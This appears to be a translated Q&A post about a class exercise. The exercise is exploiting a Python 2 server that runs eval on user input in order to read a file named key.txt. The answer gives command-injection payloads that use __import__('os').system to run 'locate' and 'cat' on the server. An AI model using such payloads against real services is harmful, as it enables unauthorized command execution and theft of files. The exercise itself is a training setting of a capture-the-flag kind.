通过python eval执行代码

时间:2015-03-26 18:17:50

标签: python eval

我的类分配是在服务器上读取一个名为key.txt的文件,该文件位于端口2323上运行的python脚本的同一目录中。脚本中运行的代码如下:

while 1: print  eval(raw_input("Enter   Math:"))

我正在连接PuTTY,每次运行任何代码时,如果我传递的代码无效,连接会立即丢失。它没有给出任何解释,但我认为eval函数无法解析我的代码。

以下是我尝试过的一些事情及其输出:

  • 输入open('key.txt', 'r').read()(或任何显式代码)会终止连接
  • 使用chr(#)传入命令,例如你好= chr(104)+chr(101)+chr(108)+chr(108)+chr(111)。服务器只是吐出我输入的内容
  • 输入compile,输出compile('print "Hello!"', 'buttfile', 'exec')
  • ,使用<code object <module> at 0x7f6270ac0db0, file "buttfile", line 1>

这是我能想到的唯一两种允许我传递代码的方法。我写了一个小的cpp程序来将我输入的任何内容转换为char组合,以及包含换行符,这样我就可以使用chr()方法输入多行代码。

所以我的问题是如何通过python的eval函数执行代码来读取文件?

1 个答案:

答案 0 :(得分:1)

如果要连接到Linux系统,可以用两个命令来完成:

__import__("os").system("locate key.txt")

这假设定位数据库是最新的。

然后当您知道该位置时使用:

__import__("os").system("cat /location/of/file/key.txt")

将键输出到屏幕。